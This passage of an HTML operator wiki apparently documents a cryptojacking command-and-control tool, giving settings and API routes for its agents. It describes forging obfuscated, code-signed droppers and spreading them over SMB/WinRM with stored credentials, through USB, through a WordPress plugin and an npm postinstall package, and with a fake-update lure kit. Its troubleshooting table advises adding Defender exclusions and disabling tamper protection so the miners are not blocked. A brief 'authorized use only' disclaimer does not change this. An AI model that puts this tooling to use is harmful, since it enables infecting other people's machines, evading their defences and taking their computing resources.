<thead><tr><th>Setting</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Listen port / data dir</td><td>Default <code>8989</code>, <code>data/</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Public URL</td><td>LAN/tunnel URL for Forge + droppers</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Dashboard subtitle</td><td>Hero text on Command Deck</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Default wallet / pool</td><td>Seeds new Forge forms only</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>public_builds_enabled</code></td><td>Expose all builds on public API</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>max_agents</code></td><td>Reject WS auth when fleet full</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>max_build_size_mb</code></td><td>Forge API size guard</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>strict_wallet_validation</code></td><td>Server-side wallet check on forge</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>stats_retention_hours</code> / <code>build_retention_days</code></td><td>Auto-purge jobs (6h)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>websocket_ping_seconds</code></td><td>WS hub ping interval</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>pool_reconnect_seconds</code></td><td>Stratum proxy reconnect delay</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>log_agent_connections</code> / <code>log_share_submissions</code></td><td>WS hub logging</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>log_pool_traffic</code></td><td>Verbose Stratum wire log</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Open firewall on start</td><td>Inbound rule for listen port</td><td><span class="wiki-status windows">Windows server</span></td></tr>
</tbody>
</table>
<h3>Fleet alerts &amp; tasks</h3>
<ul>
<li><strong>Fleet Alerts</strong> — offline minutes, hashrate drop %, rejection %; evaluator enforces thresholds</li>
<li><strong>Telegram + SMTP</strong> — per-event matrix; <code>POST /api/v1/alerts/test</code></li>
<li><strong>KEV exposure notify</strong> — optional ping on critical Full Sys Check indicators</li>
<li><strong>Fleet Tasks</strong><code>on_connect</code>, <code>on_reconnect</code>, <code>interval_hours</code>, daily <code>cron</code> (<code>HH:MM</code>)</li>
<li>Task actions: <code>sysinfo</code>, <code>full_sys_check</code>, <code>powershell</code>, <code>exec</code>, <code>pause</code>, <code>resume</code>, <code>restart</code></li>
</ul>
<h3>Fleet policy &amp; staged modules</h3>
<ul>
<li><strong>Fleet Policy</strong><code>PUT /api/v1/fleet/policy</code> pushes <code>mining_mode</code>, schedule, <code>max_cpu_usage_pct</code>, optional pool overrides live</li>
<li><strong>LOTL onion tiers</strong><code>server.lotl_onion_tiers</code> (14 spread tiers); agents with <code>lotl_policy_from_server</code> pull order on auth</li>
<li><strong>Triple onion policy</strong><code>patch_first</code>, <code>skip_mining_on_high_risk</code> gates for recon → deploy → mining</li>
<li><strong>Adaptive strategy</strong><code>adaptive_strategy_enabled</code> (default on); mining tier personalization from fleet outcomes</li>
<li><strong>AI Control</strong><code>ai_control_enabled</code>, <code>ai_endpoint</code>, <code>ai_model</code>, <code>ai_persona</code>, <code>ai_decision_interval_sec</code>, <code>ai_auto_elevate_clearance</code></li>
<li><strong>Deployment credentials</strong> — named profiles in <code>config.json</code> + vault files under <code>data/deployment-creds/</code> for SMB/WinRM spread</li>
<li><strong>Staged Modules</strong><code>POST /api/v1/fleet/modules/push</code> queues <code>fetch_module</code> for Crucible Ops / Spread / GPU packs</li>
<li>Manifests in <code>data/modules/*.json</code> — HMAC-signed with fleet secret</li>
</ul>
<h3>Tunnels &amp; signing defaults</h3>
<ul>
<li><strong>Cloudflare Tunnel Token</strong> — saved to <code>config.json</code> + <code>data/cloudflared-token.txt</code>; server starts <code>cloudflared tunnel run</code> on launch (<span class="wiki-status windows">Windows server auto-launch</span>; Linux server stub)</li>
<li><strong>tunnel_defaults.cloudflared_target_url</strong> — defaults from <code>server.public_url</code></li>
<li><strong>Forge pipeline</strong> — garble default, Authenticode thumbprint, timestamp URL, signtool path</li>
</ul>
<h3>Users &amp; backup</h3>
<ul>
<li><strong>Users</strong> — bcrypt in <code>data/users.json</code>; <code>POST /api/v1/users</code> adds accounts</li>
<li><strong>Fleet secret rotation</strong><code>POST /api/v1/server/rotate-secret</code> kicks agents; re-forge required</li>
<li><strong>Deck backup</strong><code>GET /api/v1/backup</code> ZIP (config + DB + users)</li>
<li><strong>Operator audit</strong><code>GET /api/v1/audit</code> (last 50 actions)</li>
</ul>
<p>Inline field help in the UI mirrors these settings — see HelpTip icons on Forge and Calibrate forms.</p>
</section>
<!-- 8c. Path Tracer -->
<section id="path-tracer">
<h2>Path Tracer</h2>
<p>
Route <code>/pathtracer</code> — multi-hop WireGuard chain builder for reaching agents through intermediate
fleet nodes. Sessions auto-expire after <strong>2 hours</strong> with background <code>wg_teardown</code>.
</p>
<h3>Workflow</h3>
<ol>
<li>Select online fleet agents as hops (entry → middle → exit)</li>
<li><code>POST /api/v1/pathtrace/start</code> — server orchestrates <code>wg_setup</code> / <code>wg_configure</code> on each hop</li>
<li>Poll <code>GET /api/v1/pathtrace/{id}/status</code> until <code>ready</code></li>
<li>Download QR or <code>.conf</code> via <code>GET /api/v1/pathtrace/{id}/qr</code> — import into WireGuard app</li>
<li><code>DELETE /api/v1/pathtrace/{id}</code> tears down session</li>
</ol>
<h3>Topology (fixed 2026-06-04)</h3>
<ul>
<li>Hop 1 receives client peer <code>10.66.0.1/32</code></li>
<li>Single-hop chains no longer get empty peer lists</li>
<li>Multi-hop adds reverse peers on middle and exit hops</li>
<li>Hop names resolve from fleet DB <code>AgentName</code> (fallback <code>hop-N</code>)</li>
</ul>
<h3>Platform notes</h3>
<table class="wiki-table">
<thead><tr><th>Component</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Windows agent <code>wg_setup</code></td><td><span class="wiki-status working">Working</span> — may auto-download WireGuard on first use</td></tr>
<tr><td>Linux/macOS agent <code>wg_setup</code></td><td><span class="wiki-status stub">Stub</span> — returns error; pre-install WireGuard manually</td></tr>
<tr><td>Server orchestration API</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Dashboard Path Tracer page</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<p>Pair with <code>tunnel_wireguard</code> agent command for per-node tunnels outside Path Tracer sessions.</p>
</section>
<!-- 9. Security & Auth -->
<section id="security-auth">
<h2>Security &amp; Auth</h2>
<p>
The dashboard uses HTTP Basic auth for REST. Session persists in browser storage until tab close; transport
blips keep saved credentials with a <strong>degraded</strong> banner (distinct from 401 logout). WebSocket
auth prefers one-time tickets; agents use a fleet secret baked at forge time.
</p>
<h3>Auth surface</h3>
<table class="wiki-table">
<thead><tr><th>Surface</th><th>Mechanism</th></tr></thead>
<tbody>
<tr><td><code>/api/v1/*</code> REST</td><td>HTTP Basic Auth</td></tr>
<tr><td><code>/ws/dashboard</code></td><td><code>POST /api/v1/auth/ws-ticket</code><code>?ticket=</code> (2 min, one-time); legacy <code>?token=</code></td></tr>
<tr><td><code>/ws/agent</code></td><td>Fleet-secret <code>auth</code> JSON frame</td></tr>
<tr><td><code>/api/v1/agent/*</code></td><td><code>X-Fleet-Secret</code> header</td></tr>
<tr><td><code>GET /api/v1/agent/module/&#123;name&#125;</code></td><td>Signed module manifest (HMAC fleet secret)</td></tr>
<tr><td><code>PUT /api/v1/fleet/policy</code></td><td>Dashboard Basic Auth — push runtime policy to agents</td></tr>
<tr><td><code>POST /api/v1/fleet/modules/push</code></td><td>Dashboard Basic Auth — queue <code>fetch_module</code></td></tr>
<tr><td>Static SPA + health + docs</td><td>Open (no auth)</td></tr>
<tr><td><code>/get</code>, install scripts</td><td>Open — URL knowledge is the gate</td></tr>
</tbody>
</table>
<h3>Fleet secret</h3>
<p>
Random token generated at server start, stored in <code>data/config.json</code>, baked into every forged
agent. Rotate via Calibrate → fleet secret rotation (<code>POST /api/v1/server/rotate-secret</code>); existing
agents must be re-forged to pick up the new secret. The same secret signs module manifests — agents reject
tampered packs when the HMAC does not match.
</p>
<h3>Users</h3>
<ul>
<li><code>data/users.json</code> — bcrypt cost 12</li>
<li>First-run: <code>admin</code> + <code>comrade</code> with random passwords</li>
<li>Manage under Calibrate → Users</li>
</ul>
<div class="wiki-callout danger">
<strong>Authorized use only.</strong> Deploy only on systems you own or have written permission to manage.
Do not expose port 8989 to the open internet without VPN, allowlist, or reverse-proxy auth.
</div>
</section>
<!-- 10. USB Portable -->
<section id="usb-portable">
<h2>USB Portable Deck</h2>
<p>
The portable bundle is a <strong>control deck on a stick</strong> — separate from agent USB propagation.
Run <code>pack-usb.bat</code> from the repo root to produce <code>usb\</code> with
<code>AetherForge.exe</code>, webroot, agent/fusion source, bundled Go toolchain, and starter
<code>data/config.json</code>.
</p>
<p>
Copy the entire <code>usb\</code> folder to a USB drive. On any Windows PC, double-click
<code>LAUNCH.bat</code> — Cloudflare tunnel sidecar starts first, then the server. Dashboard opens at
<code>http://localhost:8989</code> (or the <code>port</code> in <code>data/config.json</code>).
</p>
<h3>pack-usb.bat steps</h3>
<ol>
<li>Build frontend; compile <code>AetherForge.exe</code></li>
<li>Copy webroot, agent source, fusion source, Go toolchain → <code>usb\</code></li>
<li>Create <code>data\</code> with starter config</li>
<li>Sync <code>LAUNCH.bat</code></li>
</ol>
<h3>LAUNCH.bat behaviour</h3>
<ul>
<li>Reads <code>port</code> from <code>data/config.json</code> for display</li>
<li>Launches without <code>-port</code> CLI so config file wins</li>
<li>Starts cloudflared when token present; sets <code>AF_TUNNEL_EXTERNAL=1</code> to avoid duplicate spawn</li>
<li>Default connector token seeded in <code>usb/data/cloudflared-token.txt</code> — replace with your own</li>
</ul>
<div class="wiki-callout warn">
After any code change, re-run <code>pack-usb.bat</code> — the USB bundle is not updated automatically.
</div>
</section>
<!-- 11. API Reference -->
<section id="api-reference">
<h2>API Reference — Key Endpoints</h2>
<p>
Full route list lives in <code>server/internal/api/router.go</code>. Below are the most-used operator and
agent paths. Authenticated routes require Basic auth unless noted.
</p>
<table class="wiki-table">
<thead><tr><th>Method</th><th>Path</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td>GET</td><td><code>/api/v1/health</code></td><td>Health check (public)</td></tr>
<tr><td>POST</td><td><code>/api/v1/auth/ws-ticket</code></td><td>Dashboard WebSocket ticket</td></tr>
<tr><td>GET/PUT</td><td><code>/api/v1/config</code></td><td>Calibrate settings</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/build</code></td><td>Forge worker / fusion</td></tr>
<tr><td>GET</td><td><code>/api/v1/builds</code></td><td>List builds</td></tr>
<tr><td>GET</td><td><code>/api/v1/builds/{id}/download</code></td><td>Download forged exe (auth or fleet secret)</td></tr>
<tr><td>PUT</td><td><code>/api/v1/builds/{id}/public</code></td><td>Toggle public listing</td></tr>
<tr><td>GET</td><td><code>/api/v1/public/builds</code></td><td>Public build list (no auth)</td></tr>
<tr><td>GET</td><td><code>/api/v1/agents</code></td><td>Fleet list</td></tr>
<tr><td>POST</td><td><code>/api/v1/agents/{id}/command</code></td><td>Remote action</td></tr>
<tr><td>POST</td><td><code>/api/v1/agents/bulk-command</code></td><td>Batch command</td></tr>
<tr><td>POST</td><td><code>/api/v1/agents/{id}/wol</code></td><td>Wake-on-LAN</td></tr>
<tr><td>GET</td><td><code>/api/v1/alerts</code></td><td>Active fleet alerts</td></tr>
<tr><td>POST</td><td><code>/api/v1/alerts/test</code></td><td>Test Telegram/SMTP</td></tr>
<tr><td>GET</td><td><code>/api/v1/pools/status</code></td><td>Stratum pool states</td></tr>
<tr><td>GET</td><td><code>/api/v1/earnings/estimate</code></td><td>XMR/day estimate</td></tr>
<tr><td>GET</td><td><code>/api/v1/audit</code></td><td>Operator audit log</td></tr>
<tr><td>GET</td><td><code>/api/v1/dashboard/spread-funnel</code></td><td>Install funnel (7d)</td></tr>
<tr><td>GET</td><td><code>/api/v1/emberwake/war-room?days=7</code></td><td>Campaign funnel dashboard (hits → downloads → agents)</td></tr>
<tr><td>GET</td><td><code>/api/v1/emberwake/campaigns</code></td><td>Legacy campaign hit totals</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/spread-kit-export</code></td><td>ZIP spread-kit web publisher templates</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/wordpress-plugin-export</code></td><td>ZIP WordPress plugin for owned-site upload</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/npm-helper-export</code></td><td>ZIP npm postinstall helper package template</td></tr>
<tr><td>WS</td><td><code>/ws/agent</code></td><td>Worker connection</td></tr>
<tr><td>GET</td><td><code>/api/v1/shares</code></td><td>Recent share feed</td></tr>
<tr><td>GET</td><td><code>/api/v1/dashboard/stats</code></td><td>Aggregate dashboard stats</td></tr>
<tr><td>GET</td><td><code>/api/v1/server/info</code></td><td>LAN IPs, suggested URL</td></tr>
<tr><td>GET</td><td><code>/api/v1/server/ready</code></td><td>Readiness probe</td></tr>
<tr><td>GET</td><td><code>/api/v1/ai/activity</code></td><td>AI decision log</td></tr>
<tr><td>GET</td><td><code>/api/v1/fleet/modules</code></td><td>List staged module manifests</td></tr>
<tr><td>PUT</td><td><code>/api/v1/fleet/policy</code></td><td>Push runtime mining policy</td></tr>
<tr><td>POST</td><td><code>/api/v1/fleet/modules/push</code></td><td>Queue <code>fetch_module</code></td></tr>
<tr><td>GET</td><td><code>/api/v1/agents/{id}/log</code></td><td>Agent log (90s long-poll with <code>refresh=1</code>)</td></tr>
<tr><td>PUT</td><td><code>/api/v1/agents/{id}/meta</code></td><td>Notes / tags</td></tr>
<tr><td>DELETE</td><td><code>/api/v1/agents/{id}</code></td><td>Remove agent from fleet DB</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/estimate</code></td><td>Pre-forge size/time estimate</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/path-forge</code></td><td>Batch launcher placement</td></tr>
<tr><td>GET/POST/DELETE</td><td><code>/api/v1/blueprints</code></td><td>Forge blueprint CRUD</td></tr>
<tr><td>GET/PUT</td><td><code>/api/v1/emberwake/notes</code></td><td>Shared operator notes</td></tr>
<tr><td>POST</td><td><code>/api/v1/pathtrace/start</code></td><td>Start WireGuard chain session</td></tr>
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/status</code></td><td>Path Tracer session status</td></tr>
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/qr</code></td><td>WireGuard QR + conf</td></tr>
<tr><td>DELETE</td><td><code>/api/v1/pathtrace/{id}</code></td><td>Teardown session</td></tr>
<tr><td>POST</td><td><code>/api/v1/server/rotate-secret</code></td><td>Rotate fleet secret</td></tr>
<tr><td>POST</td><td><code>/api/v1/users</code></td><td>Add dashboard user</td></tr>
<tr><td>GET</td><td><code>/api/v1/backup</code></td><td>Full deck backup ZIP</td></tr>
<tr><td>POST</td><td><code>/api/v1/agent/beacon</code></td><td>HTTPS beacon (fleet secret header)</td></tr>
<tr><td>GET</td><td><code>/api/download/agent-{windows,linux,mac}</code></td><td>Agent binaries for Seek / PathForge</td></tr>
<tr><td>WS</td><td><code>/ws/dashboard?ticket=…</code></td><td>Live dashboard feed</td></tr>
</tbody>
</table>
</section>
<!-- 12. Troubleshooting -->
<section id="troubleshooting">
<h2>Troubleshooting &amp; E2E Validation</h2>
<p>
Use tiered validation before production fleet deployment. Tier 0 proves mining only; Tier 1 runs automated
CI; Tier 2 uses Docker or Linux VM for C2 regression; Tier 3 requires a disposable Windows VM for full
payload tests (spread, GPU, screenshot, aggressive ops).
</p>
<h3>Common symptoms</h3>
<table class="wiki-table">
<thead><tr><th>Symptom</th><th>Likely cause</th><th>Fix</th></tr></thead>
<tbody>
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL or AV quarantine</td><td>Check agent log; verify GPU drivers + outbound internet; Mining Diagnostics for subprocess blockers</td></tr>
<tr><td>CPU hashrate 0, agent online</td><td>AV kill, pause, idle guard, or no pool job</td><td>Crucible → Mining Diagnostics; Calibrate Defender exclusion script; forge AV-Safe preset</td></tr>
<tr><td>Defender "off" but still blocked</td><td>Tamper Protection, cloud protection, CFA</td><td>Run Calibrate exclusion .ps1 elevated; disable tamper briefly; check Controlled folder access</td></tr>
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
</tbody>
</table>
<h3>Docker CI mining proof (Tier 2 automated)</h3>
<p>
On every push, GitHub Actions runs <code>.github/workflows/ci-docker-mining.yml</code>, which builds
<code>docker/docker-compose.yml</code>, waits up to 3 minutes, and asserts an online Linux agent reports
hashrate &gt; 0 via <code>GET /api/v1/agents</code> and <code>GET /api/v1/dashboard/stats</code>
(Basic auth <code>testuser</code> / <code>testpass</code>). Test wallet and fleet secret are fixed in
<code>docker/data/config.json</code> and <code>docker/agent-builtin.go</code>.
</p>
<pre><code># Linux / macOS / CI
scripts/ci-docker-mining.sh
# Windows + Docker Desktop
.\scripts\ci-docker-mining.ps1
# Manual compose + assert
docker compose -f docker/docker-compose.yml up --build -d
scripts/ci-docker-mining.sh</code></pre>
<table class="wiki-table">
<thead><tr><th>CI symptom</th><th>Check</th></tr></thead>
<tbody>
<tr><td>Health timeout</td><td><code>docker compose logs server</code> — port 18989 bound?</td></tr>
<tr><td>Agent offline</td><td><code>docker compose logs agent</code> — fleet secret mismatch?</td></tr>
<tr><td>Hashrate 0 at deadline</td><td>Server pool egress; allow ~3090s after connect for RandomX warmup</td></tr>
<tr><td>No Docker in runner</td><td>Run script locally; workflow needs <code>ubuntu-latest</code> or Docker-enabled self-hosted</td></tr>
</tbody>
</table>
<h3>E2E orchestration</h3>
<pre><code>.\scripts\e2e-validate.ps1 # Tiers 01 + VM checklist
.\scripts\e2e-validate.ps1 -PrepareOnly # isolated data-e2e\ + instructions
.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989
.\scripts\ci-docker-mining.ps1 # Docker Linux agent hashrate proof
test.bat # full suite</code></pre>
<h3>Tier 3 Windows VM playbook</h3>
<ol>
<li>Prepare isolated <code>data-e2e\</code> with test wallet (see <code>docs/E2E_VALIDATION.md</code>)</li>
<li>Forge <code>e2e-validate</code> Windows worker; snapshot VM before run</li>
<li>Run agent once; verify Fleet Roster online</li>
<li>Crucible checklist: sysinfo, pause/resume, connectivity_probe, get_log, screenshot</li>
<li>Revert VM snapshot; archive or delete <code>data-e2e\</code></li>
</ol>
<p>Full playbook: <code>docs/E2E_VALIDATION.md</code> in the repo root.</p>
</section>
<!-- 13. Problems -->
<section id="problems">
<h2>PROBLEMS — Known Limits</h2>
<p>
Severity-ranked audit lives in <code>PROBLEMS.md</code> at the repo root. Check before large fleet deployment.
Many builder and API issues from the 2026-06-04 pass are fixed; below are notable open or deferred items.
</p>
<h3>Dashboard (deferred)</h3>
<ul>
<li>Flaky forge progress simulation — cosmetic stage timeline caps at 94% until server responds</li>
<li>Path Forge / batch fusion test gaps — cancellation and partial failure races</li>
<li>Dual storage without sync policy — session preferred over local on logout</li>
</ul>
<h3>Fusion / PathForge</h3>
<ul>
<li><code>fusion/</code> package has no direct unit tests (coverage in builder fusion tests)</li>
<li>Windows agent may auto-download WireGuard on first Path Tracer use — operator should pre-install</li>
<li>Mac PathForge <code>.command</code> requires <code>server_url</code> + <code>/api/download/agent-mac</code> at runtime</li>
</ul>
<h3>Agent</h3>
<ul>
<li>macOS: firewall aggressive ops, camera, GPU miner — stubs or partial</li>
<li>Linux screenshot in headless containers needs <code>xvfb</code> + scrot</li>
<li>WebSocket/beacon paths are integration-tested via Docker Tier 2</li>
</ul>
<h3>Spread / Emberwake gaps</h3>
<ul>
<li>No built-in OAuth redirect helper or public npm/PyPI publish pipeline</li>
<li>No JS fingerprint / TDS bot gate on spread landers</li>
<li>SocGholish-style fake-update HTML kit — operator supplies custom branding</li>
</ul>
<h3>Server / agent (open)</h3>
<ul>
<li><code>tunnel_stream</code> TCP reverse relay — not implemented</li>
<li>Server <code>cloudflared</code> auto-launch — Windows only; Linux server needs manual tunnel</li>
<li><code>bof_execute</code> — permanently disabled</li>
<li>Mesh P2P — default build stub; re-forge with <code>-tags p2p</code></li>
<li>Linux/macOS GPU RVN — broken (Windows miner binaries)</li>
<li><code>server/webroot</code> not auto-synced on <code>npm run build</code> — run <code>devrun.bat</code></li>
</ul>
<p>See <code>PROBLEMS.md</code> for the full fixed/open tables with issue IDs (B-01B-13, API-D01D10, etc.).</p>
</section>
</main>
</div>
<script src="wiki.js"></script>
</body>
</html>